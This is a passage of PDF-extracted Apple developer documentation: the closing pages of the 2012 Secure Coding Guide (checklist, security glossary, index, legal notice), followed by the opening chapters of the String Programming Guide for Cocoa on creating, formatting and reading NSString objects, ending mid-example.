attention to code that: ● deals with potentially untrusted data, such as documents or URLs ● communicates over the network ● handles passwords or other sensitive information ● runs with elevated privileges such as root or in the kernel Use APIs appropriate for the task: ● Use APIs that take security into account in their design. ● Avoid low-level C code when possible (e.g. use NSString instead of C-strings). ● Use the security features of OS X to protect user data. Test for Security As appropriate for your product, use the following QA techniques to find potential security issues: Third-Party Software Security Guidelines Avoid Requiring Elevated Privileges 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 104● Test for invalid and unexpected data in addition to testing what is expected. (Use fuzzing tools, include unit tests that test for failure, and so on.) ● Static code analysis ● Code reviews and audits Helpful Resources The other chaptersin this document describe best practicesfor writing secure code, including more information on the topics referenced above. Security Overview and Cryptographic Services Guide contain detailed information on security functionality in OS X that developers can use. Third-Party Software Security Guidelines Helpful Resources 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 105This table describes the changes to Secure Coding Guide . Date Notes 2012-06-11 Made minor typographical fixes. 2012-02-16 Fixed minor errors throughout. 2012-01-09 Updated for OS X v10.7. 2010-02-12 Added security guidelines. Added article on validating input--including the dangers of loading insecurely stored archives--and added information about the iOS where relevant. 2008-05-23 New document that describes techniques to use and factors to consider to make your code more secure from attack. 2006-05-23 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 106 Document Revision HistoryAES encryption Abbreviation for Advanced Encryption Standard encryption. A Federal Information Processing Standard (FIPS), described in FIPS publication 197. AES has been adopted by the U.S. government for the protection of sensitive, non-classified information. attacker Someone deliberately trying to make a program or operating system do something that it’s not supposed to do, such as allowing the attacker to execute code or read private data. authentication The process by which a person or other entity (such as a server) proves that it is who (or what) it says it is. Compare with authorization. authorization The process by which an entity such as a user or a server gets the right to perform a privileged operation. (Authorization can also refer to the right itself, as in “Bob has the authorization to run that program.”) Authorization usually involves first authenticating the entity and then determining whether it has the appropriate privileges. See also authentication. buffer overflow The insertion of more data into a memory buffer than was reserved for the buffer, resulting in memory locations outside the buffer being overwritten. See also heap overflow and stack overflow. CDSA Abbreviation for Common Data Security Architecture. An open software standard for a security infrastructure that provides a wide array of security services, including fine-grained access permissions, authentication of users, encryption, and secure data storage. CDSA has a standard application programming interface, called CSSM. CERT Coordination Center A center of Internet security expertise, located at the Software Engineering Institute, a federally funded research and development center operated by Carnegie Mellon University. CERT is an acronym for Computer Emergency Readiness Team.) certificate See digital certificate. Common Criteria A standardized process and set of standards that can be used to evaluate the security of software products developed by the governments of the United States, Canada, the United Kingdom, France, Germany, and the Netherlands. cracker See attacker. CSSM Abbreviation for Common Security Services Manager. A public application programming interface for CDSA. CSSM also defines an interface for plug-ins that implement security services for a particular operating system and hardware environment. CVE Abbreviation for Common Vulnerabilities and Exposures. A dictionary of standard names for security vulnerabilities located at http://www.cve.mitre.org/. You can run an Internet search on the CVE number to read details about the vulnerability. 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 107 Glossarydigital certificate A collection of data used to verify the identity of the holder. OS X supports the X.509 standard for digital certificates. exploit A program or sample code that demonstrates how to take advantage of a vulnerability.) FileVault An OS X feature, configured through the Security system preference, that encrypts everything in on the root volume (or everything in the user’s home directory prior to OS X v10.7). hacker An expert programmer—generally one with the skill to create an exploit. Most hackers do not attack other programs, and some publish exploits with the intent of forcing software developers to fix vulnerabilities. See also script kiddie. heap A region of memory reserved for use by a program during execution. Data can be written to or read from any location on the heap, which grows upward (toward highermemory addresses). Compare with stack. heap overflow A buffer overflow in the heap. homographs Characters that look the same but have different Unicode values, such as the Roman character p and the Russian glyph that is pronounced like “r”. integer overflow A buffer overflow caused by entering a number that is too large for an integer data type. Kerberos An industry-standard protocol created by the Massachusetts Institute of Technology (MIT) to provide authentication over a network. keychain A database used in OS X to store encrypted passwords, private keys, and othersecrets. It is also used to store certificates and other non-secret information that is used in cryptography and authentication. Keychain Access utility An application that can be used to manipulate data in the keychain. Keychain Services A public API that can be used to manipulate data in the keychain. level of trust The confidence a user can have in the validity of a certificate. The level of trust for a certificate is used together with the trust policy to answer the question “Should I trust this certificate for this action?” nonrepudiation A process or technique making it impossible for a user to deny performing an operation (such as using a specific credit card number). Open Directory The directory server provided by OS X for secure storage of passwords and user authentication. permissions See privileges. phishing A social engineering technique in which an email or web page that spoofs one from a legitimate businessis used to trick a user into giving personal data and secrets (such as passwords) to someone who has malicious intent. policy database A database containing the set of rules the Security Server uses to determine authorization. privileged operation An operation that requires special rights or privileges. privileges The type of access to a file or directory (read, write, execute, traverse, and so forth) granted to a user or to a group. Glossary 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 108race condition The occurrence of two events out of sequence. root kit Malicious code that, by running in the kernel, can not only take over control of the system but can also cover up all evidence of its own existence. root privileges Having the unrestricted permission to perform any operation on the system. script kiddie Someone who uses published code (scripts) to attack software and computer systems. signal A message sent from one processto another in a UNIX-based operating system (such as OS X) social engineering As applied to security, tricking a user into giving up secrets or into giving access to a computer to an attacker. smart card A plastic card similar in size to a credit card that has memory and a microprocessor embedded in it. A smart card can store and process information, including passwords, certificates, and keys. stack A region of memory reserved for use by a specific program and used to control program flow. Data is put on the stack and removed in a last-in–first-out fashion. The stack grows downward (toward lower memory addresses). Compare with heap. stack overflow A buffer overflow on the stack. time of check–time of use (TOCTOU) A race condition in which an attacker creates, writes to, or alters a file between the time when a program checks the status of the file and when the program writes to it. trust policy A set of rules that specify the appropriate uses for a certificate that has a specific level of trust. For example, the trust policy for a browser might state that if a certificate has expired, the user should be prompted for permission before a secure session is opened with a web server. vulnerability A feature of the way a program was written—either a design flaw or a bug—that makes it possible for a hacker or script kiddie to attack the program. Glossary 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 109Symbols _unknown user 84 A access control 14 applications factoring 69 interfaces 73–78 arguments, command line 61, 101 argv(0) 61 attackers 8 audit logs 91 authentication 14, 90 authopen 65 Authorization Services 72 authorization granting 14 revoking 75 AuthorizationExecWithPrivilege 68 B buffer overflows 11, 17–29 calculating buffer sizes 25–26 checklist 97 detecting 28 integer arithmetic 27 strings 22 buffer overflows See also heap , stack 17 C certificates digital certificates 14 CFBundle 99 chflags 48 chmod 55 chown 55 close-on-exec flag 58 code insertion 37 command-line arguments 61, 101 command-line tools 100 configuration files 88 crackers 8 D default settings 73 denial of service 91 device ID 58 digital certificate identity 79 digital certificates 14 document organization 9 dyld 99 dynamic link editor 99 E elevated privileges 59, 86 encryption 15 environment variables 62, 88 F factoring applications 69 fchmod 55 fchown 55 file descriptor 50, 52 inheriting 58 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 110 Indexfile descriptors 61 file locations 75 file operations Carbon 55 Cocoa 51 insecure 13, 47–58 POSIX 50 file system, remotely mounted 57 files temporary 88 FileVault 75 firewall 91 fopen 55 format string attacks 34 FSFindFolder 50 fstat 55 fuzzing 39 G GID 64 group ID 64 guest access 96 GUI 88 H hackers 7 hard link 48 hash function 91, 102 heap 11 overflow 20, 22 I identity 79 input validation 12 input data structures 97 inappropriate 17 testing 28 to audit logs 92 types of 17 validating 19, 33–40, 100 insecure file operations 13, 47–58 installer 63 integer overflows 27 interface, user 76 ipfw 91 K Kerberos 96 kernel extensions 72, 89 kernel messages 102 kernel checklist 101 KEXT 72 L launchd 66, 87 least privilege, principle of 60 left bracket 57 libbsm 92 /Library/StartupItems 68 logs, audit 91 lstat 55 M Mach ports 101 mkstemp 53, 55 mktemp 55 N negative numbers 27 network ports 90 nobody user 84 NSBundle 99 NSTemporaryDirectory 51 Index 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 111O open 55 organization of document 9 P passwords 93 permissions 52 permissions See also privileges phishing 16, 78 plug-ins 99 policy database 69, 72 port numbers 90 ports, Mach 101 private key identity 79 privileges 14, 59–72 elevated 59, 86 level, changing 64 principle of least privilege 60 root 14 process limits 62 R race conditions 13, 43 interprocess communication 13 scripts 56 time of check–time of use 44–46 44–46 random numbers 97 references 10 remotely mounted file system 58 rm 48 root kit 89 root privileges 14 S script kiddies 8 scripts, avoiding race conditions 56 Security Objective-C API 79 setegid 65 seteuid 65 setgid 65 setregid 65 setreuid 65 setrlimit 62 setuid 65, 67 SFAuthorizationView 79 SFCertificatePanel 79 SFCertificateTrustPanel 79 SFCertificateView 79 SFChooseIdentityPanel 79 SFKeychainSavePanel 79 SFKeychainSettingsPanel 80 shell commands 100 signal handler 46 social engineering 16, 37, 78 stack 11 overflow 18–20 stat 55 statistics of threats and attacks 16 string-handling functions 22, 97 sudo 87 symbolic link 49 syslog 92 SystemStarter 68 T temporary files 50, 53, 88 and scripts 56 default location 50, 51 test 57 twos-complement arithmetic 27 U UID 64 Index 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 112unique 84 umask 52 URL commands 12, 36 user ID 64 user interface 76 V validating input 12, 33–40 W wildcard characters 89 X xinetd 68 Index 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 113Apple Inc. © 2012 Apple Inc. All rights reserved. No part of this publication may be reproduced, stored in a retrievalsystem, or transmitted, in any form or by any means, mechanical, electronic, photocopying, recording, or otherwise, without prior written permission of Apple Inc., with the following exceptions: Any person is hereby authorized to store documentation on a single computer for personal use only and to print copies of documentation for personal use provided that the documentation contains Apple’s copyright notice. No licenses, express or implied, are granted with respect to any of the technology described in this document. Apple retains all intellectual property rights associated with the technology described in this document. This document is intended to assist application developers to develop applications only for Apple-labeled computers. Apple Inc. 1 Infinite Loop Cupertino, CA 95014 408-996-1010 Apple, the Apple logo, Carbon, Cocoa, eMac, FileVault, iPhone, Keychain, Mac, Macintosh, Numbers, Objective-C, OS X, Pages, and Safari are trademarks of Apple Inc., registered in the U.S. and other countries. .Mac is a service mark of Apple Inc., registered in the U.S. and other countries. App Store and Mac App Store are service marks of Apple Inc. Java is a registered trademark of Oracle and/or its affiliates. Ping is a registered trademark of Karsten Manufacturing and is used in the U.S. under license. UNIX is a registered trademark of The Open Group. iOS is a trademark or registered trademark of Cisco in the U.S. and other countries and is used under license. Even though Apple has reviewed this document, APPLE MAKES NO WARRANTY OR REPRESENTATION, EITHER EXPRESS OR IMPLIED, WITH RESPECT TO THIS DOCUMENT, ITS QUALITY, ACCURACY, MERCHANTABILITY, OR FITNESS FOR A PARTICULAR PURPOSE.ASARESULT, THISDOCUMENT IS PROVIDED “AS IS,” AND YOU, THE READER, ARE ASSUMING THE ENTIRE RISK AS TO ITS QUALITY AND ACCURACY. IN NO EVENT WILL APPLE BE LIABLE FOR DIRECT, INDIRECT, SPECIAL, INCIDENTAL,OR CONSEQUENTIAL DAMAGES RESULTING FROM ANY DEFECT OR INACCURACY IN THIS DOCUMENT, even if advised of the possibility of such damages. THE WARRANTY AND REMEDIES SET FORTH ABOVE ARE EXCLUSIVE AND IN LIEU OF ALL OTHERS, ORAL OR WRITTEN, EXPRESS OR IMPLIED. No Apple dealer, agent, or employee is authorized to make any modification, extension, or addition to this warranty. Some states do not allow the exclusion or limitation of implied warranties or liability for incidental or consequential damages, so the above limitation or exclusion may not apply to you. This warranty gives you specific legal rights, and you may also have other rights which vary from state to state. String Programming GuideContents Introduction to String Programming Guide for Cocoa 5 Who Should Read This Document 5 Organization of This Document 5 See Also 6 Strings 7 Creating and Converting String Objects 8 Creating Strings 8 NSString from C Strings and Data 8 Variable Strings 9 Strings to Present to the User 10 Combining and Extracting Strings 10 Getting C Strings 11 Conversion Summary 12 Formatting String Objects 13 Formatting Basics 13 Strings and Non-ASCII Characters 14 NSLog and NSLogv 14 String Format Specifiers 15 Format Specifiers 15 Platform Dependencies 17 Reading Strings From and Writing Strings To Files and URLs 19 Reading From Files and URLs 19 Reading data with a known encoding 19 Reading data with an unknown encoding 20 Writing to Files and URLs 21 Summary 21 Searching, Comparing, and Sorting Strings 22 Search and Comparison Methods 22 2012-07-17 | © 1997, 2012 Apple Inc. All Rights Reserved. 2Searching strings 22 Comparing and sorting strings 23 Search and Comparison Options 24 Examples 24 Case-Insensitive Search for Prefix and Suffix 24 Comparing Strings 25 Sorting strings like Finder 26 Paragraphs and Line Breaks 28 Line and Paragraph Separator Characters 28 Separating a String “by Paragraph” 28 Characters and Grapheme Clusters 30 Character Sets 33 Character Set Basics 33 Creating Character Sets 33 Performance considerations 34 Creating a character set file 35 Standard Character Sets and Unicode Definitions 35 Scanners 36 Creating a Scanner 36 Using a Scanner 36 Example 38 Localization 39 String Representations of File Paths 40 Representing a Path 40 User Directories 41 Path Components 42 File Name Completion 43 Drawing Strings 44 Document Revision History 45 Index 47 2012-07-17 | © 1997, 2012 Apple Inc. All Rights Reserved. 3Tables String Format Specifiers 15 Table 1 Format specifiers supported by the NSString formatting methods and CFString formatting functions 15 Table 2 Length modifiers supported by the NSString formatting methods and CFString formatting functions 16 Table 3 Format specifiers for data types 17 2012-07-17 | © 1997, 2012 Apple Inc. All Rights Reserved. 4String Programming Guide for Cocoa describes how to create, search, concatenate, and draw strings. It also describes character sets, which let you search a string for characters in a group, and scanners, which convert numbers to strings and vice versa. Who Should Read This Document You should read this document if you need to work directly with strings or character sets. Organization of This Document This document contains the following articles: ● “Strings” (page 7) describes the characteristics of string objects in Cocoa. ● “Creating and Converting String Objects” (page 8) explains the ways in which NSString and its subclass NSMutableString create string objects and convert their contents to and from the various character encodings they support. ● “Formatting String Objects” (page 13) describes how to format NSString objects. ● “String Format Specifiers” (page 15) describes printf-style format specifiers supported by NSString. ● “Reading Strings From and Writing Strings To Files and URLs” (page 19) describes how to read strings from and write strings to files and URLs. ● “Searching, Comparing, and Sorting Strings” (page 22) describes methods for finding characters and substrings within strings and for comparing one string to another. ● “Paragraphs and Line Breaks” (page 28) describes how paragraphs and line breaks are represented. ● “Characters and Grapheme Clusters” (page 30) describes how you can break strings down into user-perceived characters. ● “Character Sets” (page 33) explains how to use character set objects, and how to use NSCharacterSet methods to create standard and custom character sets. ● “Scanners” (page 36) describes NSScanner objects, which interpret and convert the characters of an NSString object into number and string values. 2012-07-17 | © 1997, 2012 Apple Inc. All Rights Reserved. 5 Introduction to String Programming Guide for Cocoa● “String Representations of File Paths” (page 40) describes the NSString methods that manipulate strings as file-system paths. ● “Drawing Strings” (page 44) discusses the methods of the NSString class that support drawing directly in an NSView object. See Also For more information, refer to the following documents: ● Attributed String Programming Guide is closely related to String Programming Guide for Cocoa . It provides information about NSAttributedString objects, which manage sets of attributes, such as font and kerning, that are associated with character strings or individual characters. ● Data Formatting Guide describes how to format data using objects that create, interpret, and validate text. ● Internationalization Programming Topics provides information about localizing strings in your project, including information on how string formatting arguments can be ordered. ● String Programming Guide for Core Foundation in Core Foundation, discussesthe Core Foundation opaque type CFString, which is toll-free bridged with the NSString class. Introduction to String Programming Guide for Cocoa See Also 2012-07-17 | © 1997, 2012 Apple Inc. All Rights Reserved. 6String objects represent character strings in Cocoa frameworks. Representing strings as objects allows you to use strings wherever you use other objects. It also providesthe benefits of encapsulation,so thatstring objects can use whatever encoding and storage is needed for efficiency while simply appearing as arrays of characters. A string object is implemented as an array of Unicode characters (in other words, a text string). An immutable string is a text string that is defined when it is created and subsequently cannot be changed. To create and manage an immutable string, use the NSString class. To construct and manage a string that can be changed after it has been created, use NSMutableString. The objects you create using NSString and NSMutableString are referred to as string objects (or, when no confusion will result, merely as strings). The term C string refers to the standard C char * type. A string object presents itself as an array of Unicode characters. You can determine how many characters it contains with the length method and can retrieve a specific character with the characterAtIndex: method. These two “primitive” methods provide basic access to a string object. Most use of strings, however, is at a higher level, with the strings being treated as single entities: You compare strings against one another, search them for substrings, combine them into new strings, and so on. If you need to access string objects character-by-character, you must understand the Unicode character encoding—specifically, issues related to composed character sequences. For details see: ● The Unicode Standard, Version 4.0 . The Unicode Consortium. Boston: Addison-Wesley, 2003. ISBN 0-321-18578-1. ● The Unicode Consortium web site: http://www.unicode.org/. 2012-07-17 | © 1997, 2012 Apple Inc. All Rights Reserved. 7 StringsNSString and its subclass NSMutableString provide several ways to create string objects, most based around the various character encodingsitsupports. Although string objects always present their own contents as Unicode characters, they can convert their contents to and from many other encodings, such as 7-bit ASCII, ISO Latin 1, EUC, and Shift-JIS. The availableStringEncodings class method returns the encodings supported. You can specify an encoding explicitly when converting a C string to or from a string object, or use the default C string encoding, which varies from platform to platform and is returned by the defaultCStringEncoding class method. Creating Strings The simplest way to create a string object in source code is to use the Objective-C @"..." construct: NSString *temp = @"Contrafibularity"; Note that, when creating a string constant in this fashion, you should use UTF-8 characters. Such an object is created at compile time and exists throughout your program’s execution. The compiler makes such object constants unique on a per-module basis, and they’re never deallocated. You can also send messages directly to a string constant as you do any other string: BOOL same = [@"comparison" isEqualToString:myString]; NSString from C Strings and Data To create an NSString object from a C string, you use methods such as initWithCString:encoding:. You must correctly specify the character encoding of the C string. Similar methods allow you to create string objects from characters in a variety of encodings. The method initWithData:encoding: allows you to convert string data stored in an NSData object into an NSString object. char *utf8String = /* Assume this exists. */ ; NSString *stringFromUTFString = [[NSString alloc] initWithUTF8String:utf8String]; 2012-07-17 | © 1997, 2012 Apple Inc. All Rights Reserved. 8 Creating and Converting String Objectschar *macOSRomanEncodedString = /* assume this exists */ ; NSString *stringFromMORString = [[NSString alloc] initWithCString:macOSRomanEncodedString encoding:NSMacOSRomanStringEncoding]; NSData *shiftJISData = /* assume this exists */ ; NSString *stringFromShiftJISData = [[NSString alloc] initWithData:shiftJISData encoding:NSShiftJISStringEncoding]; The following example converts an NSString object containing a UTF-8 character to ASCII data then back to an NSString object. unichar ellipsis = 0x2026; NSString *theString = [NSString stringWithFormat:@"To be continued%C", ellipsis]; NSData *asciiData = [theString dataUsingEncoding:NSASCIIStringEncoding allowLossyConversion:YES]; NSString *asciiString = [[NSString alloc] initWithData:asciiData encoding:NSASCIIStringEncoding]; NSLog(@"Original: %@ (length %d)", theString, [theString length]); NSLog(@"Converted: %@ (length %d)", asciiString, [asciiString length]); // output: // Original: To be continued… (length 16) // Converted: To be continued... (length 18) Variable Strings To create a variable string, you typically use stringWithFormat:: or initWithFormat: (or for localized strings, localizedStringWithFormat:). These methods and theirsiblings use a formatstring as a template into which the values you provide (string and other objects, numerics values, and so on) are inserted. They and the supported format specifiers are described in “Formatting String Objects” (page 13). Creating and Converting String Objects Creating Strings 2012-07-17 | © 1997, 2012 Apple Inc. All Rights Reserved. 9You can build a string from existing string objects using the methods stringByAppendingString: and stringByAppendingFormat: to create a new string by adding one string after another, in the second case using a format string. NSString *hString = @"Hello"; NSString *hwString = [hString stringByAppendingString:@", world!"]; Strings to Present to the User When creating strings to present to the user, you should consider the importance of localizing your application. In general, you should avoid creating user-visible strings directly in code. Instead you should use strings in your code as a key to a localization dictionary that will supply the user-visible string in the user's preferred language. Typically thisinvolves using NSLocalizedString and similar macros, asillustrated in the following example. NSString *greeting = NSLocalizedStringFromTable (@"Hello", @"greeting to present in first launch panel", @"greetings"); For more about internationalizing your application, see Internationalization Programming Topics. “Localizing String Resources” describes how to work with and reorder variable arguments in localized strings. Combining and Extracting Strings You can combine and extract strings in various ways. The simplest way to combine two strings is to append one to the other. The stringByAppendingString: method returns a string object formed from the receiver and the given argument. NSString *beginning = @"beginning"; NSString *alphaAndOmega = [beginning stringByAppendingString:@" and end"]; // alphaAndOmega is @"beginning and end" You can also combine several strings according to a template with the initWithFormat:, stringWithFormat:, and stringByAppendingFormat: methods; these are described in more detail in “Formatting String Objects” (page 13). Creating and Converting String Objects Combining and Extracting Strings 2012-07-17 | © 1997, 2012 Apple Inc. All Rights Reserved. 10You can extract substrings from the beginning or end of a string to a particular index, or from a specific range, with the substringToIndex:, substringFromIndex:, and substringWithRange: methods. You can also split a string into substrings (based on a separator string) with the componentsSeparatedByString: method. These methods are illustrated in the following examples—notice that the index of the index-based methods starts at 0: NSString *source = @"0123456789"; NSString *firstFour = [source substringToIndex:4]; // firstFour is @"0123" NSString *allButFirstThree = [source substringFromIndex:3]; // allButFirstThree is @"3456789" NSRange twoToSixRange = NSMakeRange(2, 4); NSString *twoToSix = [source substringWithRange:twoToSixRange]; // twoToSix is @"2345" NSArray *split = [source componentsSeparatedByString:@"45"]; // split contains { @"0123", @"6789" } If you need to extract strings using pattern-matching rather than an index, you should use a scanner—see “Scanners” (page 36). Getting C Strings To get a C string from a string object, you are recommended to use UTF8String. This returns a const char * using UTF8 string encoding. const char *cString = [@"Hello, world" UTF8String]; The C string you receive is owned by a temporary object, and will become invalid when automatic deallocation takes place. If you want to get a permanent C string, you must create a buffer and copy the contents of the const char * returned by the method. Similar methods allow you to create string objects from characters in the Unicode encoding or an arbitrary encoding, and to extract data in these encodings. initWithData:encoding: and dataUsingEncoding: perform these conversions from and to NSData objects. Creating and Converting String Objects Getting C Strings 2012-07-17 | © 1997, 2012 Apple Inc. All Rights Reserved. 11Conversion Summary This table summarizes the most common means of creating and converting string objects: Source Creation method Extraction method In code @"..." compiler construct N/A UTF8 encoding stringWithUTF8String: UTF8String getCharacters: getCharacters:range: Unicode encoding stringWithCharacters: length: Arbitrary encoding initWithData: encoding: dataUsingEncoding: stringByAppendingString: N/A stringByAppendingFormat: Existing strings localizedStringWithFormat: Use NSScanner initWithFormat: locale: Format string Localized strings NSLocalizedString and similar N/A Creating and Converting String Objects Conversion Summary 2012-07-17 | © 1997, 2012 Apple Inc. All Rights Reserved. 12This article describes how to create a string using a format string, how to use non-ASCII characters in a format string, and a common error that developers make when using NSLog or NSLogv. Formatting Basics NSString uses a format string whose syntax is similar to that used by other formatter objects. It supports the format characters defined for the ANSI C function printf(), plus %@ for any object (see “String Format Specifiers” (page 15) and the IEEE printf specification). If the object responds to descriptionWithLocale: messages, NSString sends such a message to retrieve the text representation. Otherwise, it sends a description message. “Localizing String Resources” describes how to work with and reorder variable arguments in localized strings. In formatstrings, a ‘%’ character announces a placeholder for a value, with the charactersthat follow determining the kind of value expected and how to format it. For example, a format string of "%d houses" expects an integer value to be substituted for the format expression '%d'. NSString supportsthe format characters defined for the ANSI C functionprintf(), plus ‘@’ for any object. If the object responds to the descriptionWithLocale: message, NSString sends that message to retrieve the text representation, otherwise, it sends a description message. Value formatting is affected by the user’s current locale, which is an NSDictionary object that specifies number, date, and other kinds of formats. NSString uses only the locale’s definition for the decimal separator (given by the key named NSDecimalSeparator). If you use a method that doesn’t specify a locale, the string assumes the default locale. You can use NSString’s stringWithFormat: method and other related methods to create strings with printf-style formatspecifiers and argument lists, as described in “Creating and Converting StringObjects” (page 8). The examples below illustrate how you can create a string using a variety of formatspecifiers and arguments. NSString *string1 = [NSString stringWithFormat:@"A string: %@, a float: %1.2f", @"string", 31415.9265]; // string1 is "A string: string, a float: 31415.93" NSNumber *number = @1234; 2012-07-17 | © 1997, 2012 Apple Inc. All Rights Reserved. 13 Formatting String ObjectsNSDictionary *dictionary = @{ [NSDate date]:@"date" }; NSString *baseString = @"Base string."; NSString *string2 = [baseString stringByAppendingFormat: @" A number: %@, a dictionary: %@", number, dictionary]; // string2 is "Base string. A number: 1234, a dictionary: {date = 2005-10-17 09:02:01 -0700; }" Strings and Non-ASCII Characters You can include non-ASCII characters(including Unicode) in strings usingmethodssuch as stringWithFormat: and stringWithUTF8String:. NSString *s = [NSString stringWithFormat:@"Long %C dash", 0x2014]; Since \xe2\x80\x94 is the 3-byte UTF-8 string for 0x2014, you could also write: NSString *s = [NSString stringWithUTF8String:"Long \xe2\x80\x94 dash"]; NSLog and NSLogv The utility functions NSLog() and NSLogv() use the NSString string formatting servicesto log error messages. Note that as a consequence of this, you should take care when specifying the argument for these functions. A common mistake isto specify a string that includesformatting characters, asshown in the following example. NSString *string = @"A contrived string %@"; NSLog(string); // The application will probably crash here due to signal 10 (SIGBUS) It is better (safer) to use a format string to output another string, as shown in the following example. NSString *string = @"A contrived string %@"; NSLog(@"%@", string); // Output: A contrived string %@ Formatting String Objects Strings and Non-ASCII Characters 2012-07-17 | © 1997, 2012 Apple Inc. All Rights Reserved. 14This article summarizes the format specifiers supported by string formatting methods and functions. Format Specifiers The format specifiers supported by the NSString formatting methods and CFString formatting functions follow the IEEE printf specification; the specifiers are summarized in Table 1 (page 15). Note that you can also use the “n$” positional specifiers such as %1$@ %2$s. For more details, see the IEEE printf specification. You can also use these format specifiers with the NSLog function. Table 1 Format specifiers supported by the NSString formatting methods and CFString formatting functions Specifier Description Objective-C object, printed as the string returned by descriptionWithLocale: if available, or description otherwise. Also works with CFTypeRef objects, returning the result of the CFCopyDescription function. %@ %% '%' character. %d, %D Signed 32-bit integer (int). %u, %U Unsigned 32-bit integer (unsigned int). Unsigned 32-bit integer (unsigned int), printed in hexadecimal using the digits 0–9 and lowercase a–f. %x Unsigned 32-bit integer (unsigned int), printed in hexadecimal using the digits 0–9 and uppercase A–F. %X %o, %O Unsigned 32-bit integer (unsigned int), printed in octal. %f 64-bit floating-point number (double). 64-bit floating-point number (double), printed in scientific notation using a lowercase e to introduce the exponent. %e 64-bit floating-point number (double), printed in scientific notation using an uppercase E to introduce the exponent. %E 2012-07-17 | © 1997, 2012 Apple Inc. All Rights Reserved. 15 String Format SpecifiersSpecifier Description 64-bit floating-point number (double), printed in the style of %e if the exponent is less than –4 or greater than or equal to the precision, in the style of %f otherwise. %g 64-bit floating-point number (double), printed in the style of %E if the exponent is less than –4 or greater than or equal to the precision, in the style of %f otherwise. %G 8-bit unsigned character (unsigned char), printed by NSLog() as an ASCII character, or, if not an ASCII character, in the octal format \\ddd or the Unicode hexadecimal format \\udddd, where d is a digit. %c 16-bit Unicode character (unichar), printed by NSLog() as an ASCII character, or, if not an ASCII character, in the octal format \\ddd or the Unicode hexadecimal format \\udddd, where d is a digit. %C Null-terminated array of 8-bit unsigned characters. Because the %s specifier causes the characters to be interpreted in the system default encoding, the results can be variable, especially with right-to-left languages. For example, with RTL, %s inserts direction markers when the characters are not strongly directional. For this reason, it’s best to avoid %s and specify encodings explicitly. %s %S Null-terminated array of 16-bit Unicode characters. Void pointer (void *), printed in hexadecimal with the digits 0–9 and lowercase a–f, with a leading 0x. %p 64-bit floating-point number (double), printed in scientific notation with a leading 0x and one hexadecimal digit before the decimal point using a lowercase p to introduce the exponent. %a 64-bit floating-point number (double), printed in scientific notation with a leading 0X and one hexadecimal digit before the decimal point using a uppercase P to introduce the exponent. %A %F 64-bit floating-point number (double), printed in decimal notation. Table 2 Length modifiers supported by the NSString formatting methods and CFString formatting functions Length Description modifier Length modifier specifying that a following d, o, u, x, or X conversion specifier applies to a short or unsigned short argument. h Length modifier specifying that a following d, o, u, x, or X conversion specifier applies to a signed char or unsigned char argument. hh String Format Specifiers Format Specifiers 2012-07-17 | © 1997, 2012 Apple Inc. All Rights Reserved. 16Length Description modifier Length modifier specifying that a following d, o, u, x, or X conversion specifier applies to a long or unsigned long argument. l Length modifiers specifying that a following d, o, u, x, or X conversion specifier applies to a long long or unsigned long long argument. ll, q Length modifier specifying that a following a, A, e, E, f, F, g, or G conversion specifier applies to a long double argument. L Length modifier specifying that a following d, o, u, x, or X conversion specifier applies to a size_t or the corresponding signed integer type argument. z Length modifier specifying that a following d, o, u, x, or X conversion specifier applies to a ptrdiff_t or the corresponding unsigned integer type argument. t Length modifier specifying that a following d, o, u, x, or X conversion specifier applies to a intmax_t or uintmax_t argument. j Platform Dependencies OS X uses several data types—NSInteger, NSUInteger,CGFloat, and CFIndex—to provide a consistent means of representing values in 32- and 64-bit environments. In a 32-bit environment, NSInteger and NSUInteger are defined as int and unsigned int, respectively. In 64-bit environments, NSInteger and NSUInteger are defined as long and unsigned long, respectively. To avoid the need to use different printf-style type specifiers depending on the platform, you can use the specifiers shown in Table 3. Note that in some cases you may have to cast the value. Table 3 Format specifiers for data types Type Format specifier Considerations NSInteger %ld or %lx Cast the value to long. NSUInteger %lu or %lx Cast the value to unsigned long. %f works for floats and doubles when formatting; but note the technique described below for scanning. CGFloat %f or %g CFIndex %ld or %lx The same as NSInteger. %p adds 0x to the beginning of the output. If you don't want that, use %zx and no typecast. pointer %p or %zx String Format Specifiers Platform Dependencies 2012-07-17 | © 1997, 2012 Apple Inc. All Rights Reserved. 17The following example illustrates the use of %ld to format an NSInteger and the use of a cast. NSInteger i = 42; printf("%ld\n", (long)i); In addition to the considerations mentioned in Table 3, there is one extra case with scanning: you must distinguish the types for float and double. You should use %f for float, %lf for double. If you need to use scanf (or a variant thereof) with CGFloat, switch to double instead, and copy the double to CGFloat. CGFloat imageWidth; double tmp; sscanf (str, "%lf", &tmp); imageWidth = tmp; It is important to remember that %lf does not represent CGFloat correctly on either 32- or 64-bit platforms. This is unlike %ld, which works for long in all cases. String Format Specifiers Platform Dependencies 2012-07-17 | © 1997, 2012 Apple Inc. All Rights Reserved. 18Reading files or URLs using NSString is straightforward provided that you know what encoding the resource uses—if you don't know the encoding, reading a resource is more challenging. When you write to a file or URL, you must specify the encoding to use. (Where possible, you should use URLs because these are more efficient.) Reading From Files and URLs NSString provides a variety of methods to read data from files and URLs. In general, it is much easier to read data if you know its encoding. If you have plain text and no knowledge of the encoding, you are already in a difficult position. You should avoid placing yourself in this position if at all possible—anything that calls for the use of plain text files should specify the encoding (preferably UTF-8 or UTF-16+BOM). Reading data with a known encoding To read from a file or URL for which you know the encoding, you use stringWithContentsOfFile:encoding:error: or stringWithContentsOfURL:encoding:error:, or the corresponding init... method, as illustrated in the following example. NSURL *URL = ...; NSError *error; NSString *stringFromFileAtURL = [[NSString alloc] initWithContentsOfURL:URL encoding:NSUTF8StringEncoding error:&error]; if (stringFromFileAtURL == nil) { // an error occurred NSLog(@"Error reading file at %@\n%@", URL, [error localizedFailureReason]); // implementation continues ... You can also initialize a string using a data object, as illustrated in the following examples. Again, you must specify the correct encoding. 2012-07-17 | © 1997, 2012 Apple Inc. All Rights Reserved. 19 Reading Strings From and Writing Strings To Files and URLsNSURL *URL = ...; NSData *data = [NSData dataWithContentsOfURL:URL]; // Assuming data is in UTF8. NSString *string = [NSString stringWithUTF8String:[data 